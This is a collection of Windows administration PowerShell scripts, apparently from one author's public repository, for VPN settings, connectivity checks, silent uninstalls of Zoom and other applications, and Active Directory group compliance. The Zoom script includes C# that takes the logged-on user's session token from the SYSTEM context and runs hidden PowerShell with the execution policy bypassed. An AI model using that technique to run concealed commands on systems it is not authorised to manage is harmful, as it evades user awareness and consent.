$global:lenovoModelNumber -Force | Out-Null 99 | New-ItemProperty -Path $regKey -Name "_LenovoModel" -Value $global:lenovoModel -Force | Out-Null 100 | Write-Verbose -Verbose "Script is done running." 101 | } -------------------------------------------------------------------------------- /Set-VPNStrategy.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script reads the current AlwaysOn VPN strategy and changes it to the set value if required. 4 | 5 | .DESCRIPTION 6 | This script reads the current AlwaysOn VPN strategy and changes it to the set value if required. 7 | This is to cater for situation where Windows 10 automatically changes the VPN strategy to something undesirable. 8 | 9 | Intune currently only supports setting the connection type to either IKEv2, L2TP, PPT or automatic. 10 | If you want a different strategy, you will need to use a script like this. 11 | 12 | .PARAMETER strategyNumber 13 | Specify the desired VPN strategy by number. The options are: 14 | 15 | 5 = Only SSTP is attempted 16 | 6 = SSTP is attempted first 17 | 7 = Only IKEv2 is attempted 18 | 8 = IKEv2 is attempted first 19 | 14 = IKEv2 is attempted followed by SSTP 20 | 21 | .NOTES 22 | Filename: Set-VPNStrategy.ps1 23 | Version: 1.0 24 | Author: Martin Bengtsson 25 | Blog: www.imab.dk 26 | Twitter: @mwbengtsson 27 | 28 | #> 29 | 30 | [cmdletbinding()] 31 | param( 32 | [Parameter(Mandatory=$true)] 33 | [ValidateSet("5","6","7","8","14")] 34 | [string]$strategyNumber 35 | ) 36 | 37 | function Get-VPNStrategy() { 38 | 39 | switch ($strategyNumber) { 40 | 5 {$strategyDesc = "Only SSTP is attempted"} 41 | 6 {$strategyDesc = "SSTP is attempted first"} 42 | 7 {$strategyDesc = "Only IKEv2 is attempted"} 43 | 8 {$strategyDesc = "IKEv2 is attempted first"} 44 | 14 {$strategyDesc = "IKEv2 is attempted followed by SSTP"} 45 | } 46 | 47 | $rasphonePath = "$env:APPDATA\Microsoft\Network\Connections\Pbk\rasphone.pbk" 48 | 49 | if (Test-Path $rasphonePath) { 50 | try { 51 | $currentStrategy = (Get-Content $rasphonePath) -like "VpnStrategy=*" 52 | } 53 | catch { } 54 | } 55 | else { 56 | Write-Verbose -Verbose -Message "The path for rasphone.pbk does not exist" 57 | } 58 | Write-Output $currentStrategy 59 | } 60 | 61 | function Set-VPNStrategy() { 62 | 63 | switch ($strategyNumber) { 64 | 5 {$strategyDesc = "Only SSTP is attempted"} 65 | 6 {$strategyDesc = "SSTP is attempted first"} 66 | 7 {$strategyDesc = "Only IKEv2 is attempted"} 67 | 8 {$strategyDesc = "IKEv2 is attempted first"} 68 | 14 {$strategyDesc = "IKEv2 is attempted followed by SSTP"} 69 | } 70 | 71 | $rasphonePath = "$env:APPDATA\Microsoft\Network\Connections\Pbk\rasphone.pbk" 72 | $currentStrategy = Get-VPNStrategy 73 | $newStrategy = "VpnStrategy=$strategyNumber" 74 | 75 | if ($currentStrategy) { 76 | if ($currentStrategy -ne $newStrategy) { 77 | try { 78 | (Get-Content $rasphonePath).Replace($currentStrategy,$newStrategy) | Set-Content $rasphonePath 79 | Write-Verbose -Verbose -Message "VPN strategy is now configured to: $newStrategy" 80 | Write-Verbose -Verbose -Message "The VPN strategy description is: $strategyDesc" 81 | } 82 | catch { 83 | Write-Verbose -Verbose -Message "Failed to apply new VPN strategy" 84 | } 85 | } 86 | elseif ($currentStrategy -eq $newStrategy) { 87 | 88 | Write-Verbose -Verbose -Message "VPN strategy is already properly configured to: $currentStrategy" 89 | Write-Verbose -Verbose -Message "The VPN strategy description is: $strategyDesc" 90 | } 91 | } 92 | } 93 | 94 | try { 95 | Write-Verbose -Verbose -Message "Script is running" 96 | Set-VPNStrategy 97 | } 98 | 99 | catch { 100 | Write-Verbose -Verbose -Message "Something went wrong during running of the script" 101 | } 102 | 103 | finally { 104 | Write-Verbose -Verbose -Message "Script is done running" 105 | } 106 | -------------------------------------------------------------------------------- /Test-DomainVPNConnectivity.ps1: -------------------------------------------------------------------------------- 1 | function Test-DomainVPNConnectivity { 2 | 3 | $computerName = $env:computername 4 | $domainName = $env:userDNSDomain 5 | 6 | if ($domainName) { 7 | Write-Verbose -Verbose -Message "Device: $computerName is domain joined to: $domainName" 8 | 9 | $domainConnection = Get-NetConnectionProfile | Where-Object {$_.Name -eq $domainName} 10 | 11 | if ($domainConnection) { 12 | Write-Verbose -Verbose -Message "$computerName has an active connection to domain: $domainName" 13 | 14 | $interfaceAlias = $domainConnection.InterfaceAlias 15 | $domainConnectionName = $domainConnection.Name 16 | $domainConnectionCategory = $DomainConnection.NetworkCategory 17 | 18 | if (($domainConnectionName -eq $domainName) -AND ($domainConnectionCategory -eq "DomainAuthenticated")) { 19 | 20 | if (($interfaceAlias -like "Wi-Fi*") -OR ($interfaceAlias -like "Ethernet*")) { 21 | Write-Verbose -Verbose -Message "$computerName is connected to $domainName via local network" 22 | Write-Output "LAN" 23 | } 24 | elseif ($interfaceAlias -like "*VPN*") { 25 | Write-Verbose -Verbose -Message "$computerName is connected to $domainName via VPN" 26 | Write-Output "VPN" 27 | } 28 | } 29 | } 30 | else { 31 | Write-Verbose -Verbose -Message "$computerName does not have an active connection to domain: $domainName" 32 | Write-Output "NODOMAIN" 33 | } 34 | } 35 | else { 36 | Write-Verbose -Verbose -Message "Looks like that $computerName is not domain joined" 37 | Write-Output "NOTDOMAINJOINED" 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Test-LTEConnectivity.ps1: -------------------------------------------------------------------------------- 1 | function Test-LTEConnectivity { 2 | 3 | $lteInterface = "Cellular" 4 | 5 | $lteDetails = Get-NetConnectionProfile | Where-Object {$_.InterfaceAlias -eq $LTEInterface} 6 | 7 | if ($lteDetails) { 8 | 9 | if ($lteDetails.IPv4Connectivity -ne "Internet") { 10 | Write-Verbose -Verbose -Message "LTE connection found, but NO access to the Internet" 11 | Write-Output "LTE" 12 | } 13 | elseif ($lteDetails.IPv4Connectivity -eq "Internet") { 14 | Write-Verbose -Verbose -Message "LTE connection found with active connection to the Internet" 15 | Write-Output "LTE" 16 | } 17 | } 18 | else { 19 | Write-Verbose -Verbose -Message "No LTE connection was found" 20 | Write-Output "NOLTE" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Uninstall-Application.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Uninstalls the applications registered with the set displayname in the Windows installer. 4 | 5 | .DESCRIPTION 6 | Searches registry for applications registered with the set displayname. 7 | If any found, the uninstall string is retrieved and used to uninstall the application. 8 | 9 | Works with installation made via .MSI as well as some .EXE compilers with unins000.exe used for uninstallation 10 | 11 | .NOTES 12 | Filename: Uninstall-Application.ps1 13 | Version: 3.0 14 | Author: Martin Bengtsson 15 | Blog: www.imab.dk 16 | Twitter: @mwbengtsson 17 | 18 | Version history: 19 | 20 | 1.0 - Script created 21 | 2.0 - Realized not all applications are properly registered in Windows installer to use msiexec.exe /x as the UninstallString 22 | Some applications are registered with msiexec.exe /i, which requires a slight change in the script below 23 | 3.0 - Added support to pass multiple displaynames (applications) to the script: .\Uninstall-Application.ps1 -displayName "Application1","Application2" 24 | 25 | .LINK 26 | https://www.imab.dk/uninstall-any-application-in-a-jiffy-using-powershell-and-configuration-manager 27 | 28 | #> 29 | [cmdletbinding()] 30 | param( 31 | [Parameter(Mandatory=$true)] 32 | [string[]]$displayName 33 | ) 34 | function Uninstall-ApplicationLocalMachine() { 35 | foreach ($object in $displayName) { 36 | Write-Verbose -Verbose -Message "Running Uninstall-ApplicationLocalMachine function" 37 | Write-Verbose -Verbose -Message "Looking for installed application: $object" 38 | $registryPaths = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall","HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" 39 | foreach ($path in $registryPaths) { 40 | Write-Verbose -Verbose -Message "Looping through $path" 41 | if (Test-Path -Path $path) { 42 | $installedApps = Get-ChildItem -Path $path -Recurse | Get-ItemProperty | Where-Object {$_.DisplayName -like "*$object*"} | Select-Object Displayname,UninstallString,PSChildName 43 | if ($installedApps) { 44 | Write-Verbose -Verbose -Message "Installed applications matching '$object' found in $path" 45 | foreach ($App in $installedApps) { 46 | if ($App.UninstallString) { 47 | if ($App.UninstallString.Contains("MsiExec.exe")) { 48 | try { 49 | Write-Verbose -Verbose -Message "Uninstalling application: $($App.DisplayName) via $($App.UninstallString)" 50 | Start-Process 'cmd.exe' -ArgumentList ("/c" + "MsiExec.exe /x" + $($App.PSChildName) + " /quiet" + " /norestart") -Wait 51 | 52 | } catch { 53 | Write-Error -Message "Failed to uninstall application: $($App.DisplayName)" 54 | } 55 | } 56 | if ($App.UninstallString.Contains("unins000.exe")) { 57 | try { 58 | Write-Verbose -Verbose -Message "Uninstalling application: $($App.DisplayName) via $($App.UninstallString)" 59 | Start-Process 'cmd.exe' -ArgumentList ("/c" + $($App.UninstallString) + " /SILENT" + " /NORESTART") -Wait 60 | } catch { 61 | Write-Error -Message "Failed to uninstall application: $($App.DisplayName)" 62 | } 63 | } 64 | else { 65 | # If script reaches this point, the application is installed with an unsupported installer. Feel free to add further mechanisms. 66 | } 67 | } 68 | } 69 | } 70 | else { 71 | Write-Verbose -Verbose -Message "No installed apps that matches displayname: $object found in $path" 72 | } 73 | } 74 | else { 75 | Write-Verbose -Verbose -Message "Path: $path does not exist" 76 | } 77 | } 78 | } 79 | } 80 | try { 81 | Write-Verbose -Verbose -Message "Script is running" 82 | Uninstall-ApplicationLocalMachine 83 | } 84 | catch { 85 | Write-Verbose -Verbose -Message "Something went wrong during running of the script: $($_.Exception.Message)" 86 | } 87 | finally { 88 | Write-Verbose -Verbose -Message "Script is done running" 89 | } 90 | -------------------------------------------------------------------------------- /Uninstall-EverythingZoom.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Uninstalls all Zoom applications registered with the Windows installer. 4 | Whether they are installed to the local computer or the users profile. 5 | 6 | .DESCRIPTION 7 | Searches registry for applications registered with 'Zoom' as publisher. 8 | If any found, the uninstall string is retrieved and used to uninstall the application. 9 | If applications are found to be installed in the users profile, the users context is invoked and the application is uninstalled coming from SYSTEM context. 10 | 11 | .NOTES 12 | Filename: Uninstall-EverythingZoom.ps1 13 | Version: 1.0 14 | Author: Martin Bengtsson 15 | Blog: www.imab.dk 16 | Twitter: @mwbengtsson 17 | 18 | .LINK 19 | https://www.imab.dk/uninstall-all-zoom-applications-in-a-jiffy-using-configuration-manager-and-powershell/ 20 | #> 21 | 22 | function Execute-AsLoggedOnUser($Command,$Hidden=$true) { 23 | <# 24 | .SYNOPSIS 25 | Function that can execute powershell in the context of the logged-in user. 26 | .DESCRIPTION 27 | This function will use advanced API's to get the access token of the currently logged-in user, in order to execute a script in the users context. 28 | This is useful for scripts that are run in the local system users context. 29 | .REQUIREMENTS 30 | This script myst be run from the context of the SYSTEM account. 31 | Designes to be run by Intune or SCCM Agent. 32 | Absolute paths required. 33 | .EXAMPLE 34 | Running a powershell script visible to the user 35 | $userCommand = '-file c:\windows\temp\script.ps1' 36 | executeAsLoggedOnUser -Command $userCommand -Hidden $false 37 | .EXAMPLE 38 | Running a powershell command hidden from the user (hidden is default true) 39 | $userCommand = '-command &{remove-item c:\temp\secretfile.txt}' 40 | executeAsLoggedOnUser -Command $userCommand 41 | .COPYRIGHT 42 | MIT License, feel free to distribute and use as you like, please leave author information. 43 | .AUTHOR 44 | Michael Mardahl - @michael_mardahl on twitter - BLOG: https://www.iphase.dk 45 | C# borrowed from the awesome Justin Myrray (https://github.com/murrayju/CreateProcessAsUser) 46 | .DISCLAIMER 47 | This function is provided AS-IS, with no warranty - Use at own risk! 48 | #> 49 | 50 | $csharpCode = @" 51 | using System; 52 | using System.Runtime.InteropServices; 53 | 54 | namespace murrayju.ProcessExtensions 55 | { 56 | public static class ProcessExtensions 57 | { 58 | #region Win32 Constants 59 | 60 | private const int CREATE_UNICODE_ENVIRONMENT = 0x00000400; 61 | private const int CREATE_NO_WINDOW = 0x08000000; 62 | 63 | private const int CREATE_NEW_CONSOLE = 0x00000010; 64 | 65 | private const uint INVALID_SESSION_ID = 0xFFFFFFFF; 66 | private static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero; 67 | 68 | #endregion 69 | 70 | #region DllImports 71 | 72 | [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] 73 | private static extern bool CreateProcessAsUser( 74 | IntPtr hToken, 75 | String lpApplicationName, 76 | String lpCommandLine, 77 | IntPtr lpProcessAttributes, 78 | IntPtr lpThreadAttributes, 79 | bool bInheritHandle, 80 | uint dwCreationFlags, 81 | IntPtr lpEnvironment, 82 | String lpCurrentDirectory, 83 | ref STARTUPINFO lpStartupInfo, 84 | out PROCESS_INFORMATION lpProcessInformation); 85 | 86 | [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")] 87 | private static extern bool DuplicateTokenEx( 88 | IntPtr ExistingTokenHandle, 89 | uint dwDesiredAccess, 90 | IntPtr lpThreadAttributes, 91 | int TokenType, 92 | int ImpersonationLevel, 93 | ref IntPtr DuplicateTokenHandle); 94 | 95 | [DllImport("userenv.dll", SetLastError = true)] 96 | private static extern bool CreateEnvironmentBlock(ref IntPtr lpEnvironment, IntPtr hToken, bool bInherit); 97 | 98 | [DllImport("userenv.dll", SetLastError = true)] 99 | [return: MarshalAs(UnmanagedType.Bool)] 100 | private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); 101 | 102 | [DllImport("kernel32.dll", SetLastError = true)] 103 | private static extern bool CloseHandle(IntPtr hSnapshot); 104 | 105 | [DllImport("kernel32.dll")] 106 | private static extern uint WTSGetActiveConsoleSessionId(); 107 | 108 | [DllImport("Wtsapi32.dll")] 109 | private static extern uint WTSQueryUserToken(uint SessionId, ref IntPtr phToken); 110 | 111 | [DllImport("wtsapi32.dll", SetLastError = true)] 112 | private static extern int WTSEnumerateSessions( 113 | IntPtr hServer, 114 | int Reserved, 115 | int Version, 116 | ref IntPtr ppSessionInfo, 117 | ref int pCount); 118 | 119 | #endregion 120 | 121 | #region Win32 Structs 122 | 123 | private enum SW 124 | { 125 | SW_HIDE = 0, 126 | SW_SHOWNORMAL = 1, 127 | SW_NORMAL = 1, 128 | SW_SHOWMINIMIZED = 2, 129 | SW_SHOWMAXIMIZED = 3, 130 | SW_MAXIMIZE = 3, 131 | SW_SHOWNOACTIVATE = 4, 132 | SW_SHOW = 5, 133 | SW_MINIMIZE = 6, 134 | SW_SHOWMINNOACTIVE = 7, 135 | SW_SHOWNA = 8, 136 | SW_RESTORE = 9, 137 | SW_SHOWDEFAULT = 10, 138 | SW_MAX = 10 139 | } 140 | 141 | private enum WTS_CONNECTSTATE_CLASS 142 | { 143 | WTSActive, 144 | WTSConnected, 145 | WTSConnectQuery, 146 | WTSShadow, 147 | WTSDisconnected, 148 | WTSIdle, 149 | WTSListen, 150 | WTSReset, 151 | WTSDown, 152 | WTSInit 153 | } 154 | 155 | [StructLayout(LayoutKind.Sequential)] 156 | private struct PROCESS_INFORMATION 157 | { 158 | public IntPtr hProcess; 159 | public IntPtr hThread; 160 | public uint dwProcessId; 161 | public uint dwThreadId; 162 | } 163 | 164 | private enum SECURITY_IMPERSONATION_LEVEL 165 | { 166 | SecurityAnonymous = 0, 167 | SecurityIdentification = 1, 168 | SecurityImpersonation = 2, 169 | SecurityDelegation = 3, 170 | } 171 | 172 | [StructLayout(LayoutKind.Sequential)] 173 | private struct STARTUPINFO 174 | { 175 | public int cb; 176 | public String lpReserved; 177 | public String lpDesktop; 178 | public String lpTitle; 179 | public uint dwX; 180 | public uint dwY; 181 | public uint dwXSize; 182 | public uint dwYSize; 183 | public uint dwXCountChars; 184 | public uint dwYCountChars; 185 | public uint dwFillAttribute; 186 | public uint dwFlags; 187 | public short wShowWindow; 188 | public short cbReserved2; 189 | public IntPtr lpReserved2; 190 | public IntPtr hStdInput; 191 | public IntPtr hStdOutput; 192 | public IntPtr hStdError; 193 | } 194 | 195 | private enum TOKEN_TYPE 196 | { 197 | TokenPrimary = 1, 198 | TokenImpersonation = 2 199 | } 200 | 201 | [StructLayout(LayoutKind.Sequential)] 202 | private struct WTS_SESSION_INFO 203 | { 204 | public readonly UInt32 SessionID; 205 | 206 | [MarshalAs(UnmanagedType.LPStr)] 207 | public readonly String pWinStationName; 208 | 209 | public readonly WTS_CONNECTSTATE_CLASS State; 210 | } 211 | 212 | #endregion 213 | 214 | // Gets the user token from the currently active session 215 | private static bool GetSessionUserToken(ref IntPtr phUserToken) 216 | { 217 | var bResult = false; 218 | var hImpersonationToken = IntPtr.Zero; 219 | var activeSessionId = INVALID_SESSION_ID; 220 | var pSessionInfo = IntPtr.Zero; 221 | var sessionCount = 0; 222 | 223 | // Get a handle to the user access token for the current active session. 224 | if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, ref pSessionInfo, ref sessionCount) != 0) 225 | { 226 | var arrayElementSize = Marshal.SizeOf(typeof(WTS_SESSION_INFO)); 227 | var current = pSessionInfo; 228 | 229 | for (var i = 0; i < sessionCount; i++) 230 | { 231 | var si = (WTS_SESSION_INFO)Marshal.PtrToStructure((IntPtr)current, typeof(WTS_SESSION_INFO)); 232 | current += arrayElementSize; 233 | 234 | if (si.State == WTS_CONNECTSTATE_CLASS.WTSActive) 235 | { 236 | activeSessionId = si.SessionID; 237 | } 238 | } 239 | } 240 | 241 | // If enumerating did not work, fall back to the old method 242 | if (activeSessionId == INVALID_SESSION_ID) 243 | { 244 | activeSessionId = WTSGetActiveConsoleSessionId(); 245 | } 246 | 247 | if (WTSQueryUserToken(activeSessionId, ref hImpersonationToken) != 0) 248 | { 249 | // Convert the impersonation token to a primary token 250 | bResult = DuplicateTokenEx(hImpersonationToken, 0, IntPtr.Zero, 251 | (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, (int)TOKEN_TYPE.TokenPrimary, 252 | ref phUserToken); 253 | 254 | CloseHandle(hImpersonationToken); 255 | } 256 | 257 | return bResult; 258 | } 259 | 260 | public static bool StartProcessAsCurrentUser(string cmdLine, bool visible, string appPath = null, string workDir = null) 261 | { 262 | var hUserToken = IntPtr.Zero; 263 | var startInfo = new STARTUPINFO(); 264 | var procInfo = new PROCESS_INFORMATION(); 265 | var pEnv = IntPtr.Zero; 266 | int iResultOfCreateProcessAsUser; 267 | 268 | startInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO)); 269 | 270 | try 271 | { 272 | if (!GetSessionUserToken(ref hUserToken)) 273 | { 274 | throw new Exception("StartProcessAsCurrentUser: GetSessionUserToken failed."); 275 | } 276 | 277 | uint dwCreationFlags = CREATE_UNICODE_ENVIRONMENT | (uint)(visible ? CREATE_NEW_CONSOLE : CREATE_NO_WINDOW); 278 | startInfo.wShowWindow = (short)(visible ? SW.SW_SHOW : SW.SW_HIDE); 279 | startInfo.lpDesktop = "winsta0\\default"; 280 | 281 | if (!CreateEnvironmentBlock(ref pEnv, hUserToken, false)) 282 | { 283 | throw new Exception("StartProcessAsCurrentUser: CreateEnvironmentBlock failed."); 284 | } 285 | 286 | if (!CreateProcessAsUser(hUserToken, 287 | appPath, // Application Name 288 | cmdLine, // Command Line 289 | IntPtr.Zero, 290 | IntPtr.Zero, 291 | false, 292 | dwCreationFlags, 293 | pEnv, 294 | workDir, // Working directory 295 | ref startInfo, 296 | out procInfo)) 297 | { 298 | throw new Exception("StartProcessAsCurrentUser: CreateProcessAsUser failed.\n"); 299 | } 300 | 301 | iResultOfCreateProcessAsUser = Marshal.GetLastWin32Error(); 302 | } 303 | finally 304 | { 305 | CloseHandle(hUserToken); 306 | if (pEnv != IntPtr.Zero) 307 | { 308 | DestroyEnvironmentBlock(pEnv); 309 | } 310 | CloseHandle(procInfo.hThread); 311 | CloseHandle(procInfo.hProcess); 312 | } 313 | return true; 314 | } 315 | } 316 | } 317 | "@ 318 | # Compiling the source code as csharp 319 | $compilerParams = [System.CodeDom.Compiler.CompilerParameters]::new() 320 | $compilerParams.ReferencedAssemblies.AddRange(('System.Runtime.InteropServices.dll', 'System.dll')) 321 | $compilerParams.CompilerOptions = '/unsafe' 322 | $compilerParams.GenerateInMemory = $True 323 | Add-Type -TypeDefinition $csharpCode -Language CSharp -CompilerParameters $compilerParams 324 | # Adding powershell executeable to the command 325 | $Command = '{0}\System32\WindowsPowerShell\v1.0\powershell.exe -executionPolicy bypass {1}' -f $($env:windir),$Command 326 | # Adding double slashes to the command paths, as this is required. 327 | $Command = $Command.Replace("\","\\") 328 | # Execute a process as the currently logged on user. 329 | # Absolute paths required if running as SYSTEM! 330 | if($Hidden) { #running the command hidden 331 | $runCommand = [murrayju.ProcessExtensions.ProcessExtensions]::StartProcessAsCurrentUser($Command,$false) 332 | }else{ #running the command visible 333 | $runCommand = [murrayju.ProcessExtensions.ProcessExtensions]::StartProcessAsCurrentUser($Command,$true) 334 | } 335 | 336 | if ($runCommand) { 337 | return "Executed `"$Command`" as loggedon user" 338 | } else { 339 | throw "Something went wrong when executing process as currently logged-on user" 340 | } 341 | } 342 | 343 | function Uninstall-ZoomLocalMachine() { 344 | 345 | Write-Verbose -Verbose -Message "Running Uninstall-ZoomLocalMachine function" 346 | $registryPath = "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" 347 | if (Test-Path -Path $registryPath) { 348 | $installedZoomApps = Get-ChildItem -Path $registryPath -Recurse | Get-ItemProperty | Where-Object {$_.Publisher -like "Zoom*" } | Select-Object Displayname,UninstallString 349 | if ($installedZoomApps) { 350 | Write-Verbose -Verbose -Message "Installed Zoom applications found in HKLM" 351 | foreach ($zoomApp in $installedZoomApps) { 352 | if ($zoomApp.UninstallString) { 353 | # Regular expression for format of MSI product code 354 | $msiRegEx = "\w{8}-\w{4}-\w{4}-\w{4}-\w{12}" 355 | # Formatting the productcode in a creative way. 356 | # Needed this separately, as the uninstall string retrieved from registry sometimes wasn't formatted properly 357 | $a = $zoomApp.Uninstallstring.Split("{")[1] 358 | $b = $a.Split("}")[0] 359 | # Only continuing if the uninstall string matches a regular MSI product code 360 | if ($b -match $msiRegEx) { 361 | $productCode = "{" + $b + "}" 362 | if ($productCode) { 363 | try { 364 | Write-Verbose -Verbose -Message "Uninstalling application: $($zoomApp.DisplayName)" 365 | Start-Process "C:\Windows\System32\msiexec.exe" -ArgumentList ("/x" + $productCode + " /passive") -Wait 366 | } 367 | 368 | catch { 369 | Write-Error -Message "Failed to uninstall application: $($zoomApp.DisplayName)" 370 | } 371 | } 372 | } 373 | } 374 | } 375 | } 376 | else { 377 | Write-Verbose -Verbose -Message "No Zoom applications found in HKLM" 378 | } 379 | } 380 | else { 381 | Write-Verbose -Verbose -Message "Registry path not found" 382 | } 383 | } 384 | 385 | function Uninstall-ZoomCurrentUser() { 386 | 387 | Write-Verbose -Verbose -Message "Running Uninstall-ZoomCurrentUser function" 388 | # Getting all user profiles on the computer 389 | $userProfiles = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*" | Where-Object {$_.PSChildName -match "S-1-5-21-(\d+-?){4}$"} | Select-Object @{Name="SID"; Expression={$_.PSChildName}}, @{Name="UserHive";Expression={"$($_.ProfileImagePath)\NTuser.dat"}} 390 | foreach ($userProfile in $userProfiles) { 391 | # Formatting the username in a separate variable 392 | $userName = $userProfile.UserHive.Split("\")[2] 393 | $registryPath = "Registry::HKEY_USERS\$($UserProfile.SID)\Software\Microsoft\Windows\CurrentVersion\Uninstall" 394 | if (Test-Path -Path $registryPath) { 395 | $installedZoomApps = Get-ChildItem -Path $registryPath -Recurse | Get-ItemProperty | Where-Object {$_.Publisher -like "Zoom*" } | Select-Object Displayname,UninstallString 396 | if ($installedZoomApps) { 397 | Write-Verbose -Verbose -Message "Installed Zoom applications found in HKCU for user: $userName" 398 | foreach ($zoomApp in $installedZoomApps) { 399 | if ($zoomApp.UninstallString) { 400 | $userCommand = '-command &{Start-Process "C:\Users\USERNAME\AppData\Roaming\Zoom\uninstall\Installer.exe" -ArgumentList "/uninstall" -Wait}' 401 | # Replacing the placeholder: USERNAME with the actual username retrieved from the userprofile 402 | # This can probably be done smarter, but I failed to find another method 403 | $userCommand = $userCommand -replace "USERNAME",$userName 404 | try { 405 | Write-Verbose -Verbose -Message "Uninstalling application: $($zoomApp.DisplayName) as the logged on user: $userName" 406 | Execute-AsLoggedOnUser -Command $userCommand 407 | } 408 | catch { 409 | Write-Error -Message "Failed to uninstall application: $($zoomApp.DisplayName) for user: $userName" 410 | } 411 | } 412 | } 413 | } 414 | else { 415 | Write-Verbose -Verbose -Message "No Zoom applications found in HKCU for user: $userName" 416 | } 417 | } 418 | else { 419 | Write-Verbose -Verbose -Message "Registry path not found for user: $userName" 420 | } 421 | } 422 | } 423 | 424 | try { 425 | Write-Verbose -Verbose -Message "Script is running" 426 | Uninstall-ZoomLocalMachine 427 | Uninstall-ZoomCurrentUser 428 | } 429 | 430 | catch { 431 | Write-Verbose -Verbose -Message "Something went wrong during running of the script" 432 | } 433 | 434 | finally { 435 | Write-Verbose -Verbose -Message "Script is done running" 436 | } 437 | -------------------------------------------------------------------------------- /iAM-Compliance-Domain-Admins.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Ensure membership compliance on Active Directory groups. 4 | Also capable of disabling users during the compliance check. 5 | 6 | .DESCRIPTION 7 | This script is specifically tailored towards my own needs, where I reserve an extensionattribute for the purpose of defining a role. 8 | Take this script and use it as inspiration towards your own requirements. 9 | 10 | .NOTES 11 | Filename: iAM-Compliance-Domain-Admins.ps1 12 | Version: 1.0 13 | Author: Martin Bengtsson 14 | Blog: www.imab.dk 15 | Twitter: @mwbengtsson 16 | 17 | #> 18 | # Load AD module (RSAT is required for this to load) 19 | if (Get-Module -Name ActiveDirectory -ListAvailable) { 20 | try { 21 | Import-Module ActiveDirectory -ErrorAction Stop 22 | Write-Verbose -Message "Successfully imported ActiveDirectory module" -Verbose 23 | } 24 | catch { 25 | Write-Error "ActiveDirectory module failed to import." 26 | } 27 | } 28 | elseif (-NOT(Get-Module -Name ActiveDirectory -ListAvailable)) { 29 | break 30 | } 31 | # Create functions 32 | # This function gets the content of the allocated extensionattribute 33 | # This is currently not specific about which extensionattribute are being used. You decide that by using any of the 15 attributes available in AD 34 | function Get-iAMRole() { 35 | [CmdletBinding()] 36 | param ( 37 | [string]$SamAccountName 38 | ) 39 | $iAMResult = 40 | try { 41 | # Getting user object 42 | (Get-ADUser -Identity $SamAccountName -Properties extensionAttributeXX -ErrorAction SilentlyContinue | Select-Object extensionAttributeXX).extensionAttributeXX 43 | } 44 | catch { 45 | # Otherwise assuming computer object 46 | (Get-ADComputer -Identity $SamAccountName -Properties extensionAttributeXX -ErrorAction SilentlyContinue | Select-Object extensionAttributeXX).extensionAttributeXX 47 | } 48 | # This dictates that the iAM roles are separated with ";" on the extensionattribute in AD 49 | if (-NOT[string]::IsNullOrEmpty($iAMResult)) { 50 | $iAMResult = $iAMResult -split ";" 51 | Write-Output $iAMResult 52 | } 53 | else { 54 | Write-Output "null" 55 | } 56 | } 57 | # This function queries AD within the specified OU with a filter for users with the specified iAM role 58 | # This is currently not specific about which extensionattribute are being used. You decide that by using any of the 15 attributes available in AD 59 | function Get-UsersWithiAMRole() { 60 | [CmdletBinding()] 61 | param ( 62 | [string]$iAMRole, 63 | [string]$OU 64 | ) 65 | $getUsers = (Get-ADUser -SearchBase $OU -SearchScope Subtree -Filter "extensionattributeXX -like '*$($iAMRole)*'" -Properties extensionAttributeXX | Select-Object SamAccountName).SamAccountName 66 | Write-Output $getUsers 67 | } 68 | # Variables 69 | $iAMGroup = "Domain Admins" 70 | $iAMRole = "iAM-Domain-Admin" 71 | $iAMGroupMembers = Get-ADGroupMember -Identity $iAMGroup 72 | $iAMRoleUsers = Get-UsersWithiAMRole -iAMRole $iAMRole -OU "DistinguishedName for Domain Admins" # Replace with your own 73 | # Removing and potentially disabling user accounts who does not belong to the membership of group 74 | foreach ($member in $iAMGroupMembers) { 75 | $getiAMRole = Get-iAMRole -SamAccountName $member.SamAccountName 76 | if ($getiAMRole -notcontains $iAMRole) { 77 | Write-Verbose -Message "Trying to remove and disable $($member.SamAccountName)" -Verbose 78 | try { 79 | #Remove-ADGroupMember -Identity $iAMGroup -Member $member.SamAccountName -Confirm:$false 80 | #Disable-ADAccount -Identity $member.SamAccountName -Confirm:$false 81 | } 82 | catch { 83 | Write-Verbose -Message "Removing or disabling $($member.SamAccountName) failed" -Verbose 84 | } 85 | } 86 | else { 87 | Write-Verbose -Message "Doing nothing! Object: $($member.SamAccountName) - iAMrole(s): $getiAMRole" -Verbose 88 | } 89 | } 90 | # Adding user accounts who do belong to the membership of group 91 | # AD is queried within a sub OU for users who has $iAMRole noted in the relevant extensionattribute 92 | foreach ($member in $iAMRoleUsers) { 93 | $userMemberOf = Get-ADPrincipalGroupMembership -Identity $member | Select-Object Name 94 | # If the user is not already a member of the group, add user to group 95 | if ($userMemberOf.Name -notcontains $iAMGroup) { 96 | Write-Verbose -Message "Adding $member as member to $iAMGroup" -Verbose 97 | try { 98 | #Add-ADGroupMember -Identity $iAMGroup -Members $member -Confirm:$false 99 | } 100 | catch { 101 | Write-Verbose -Message "Adding back $member failed" -Verbose 102 | } 103 | } 104 | } 105 | --------------------------------------------------------------------------------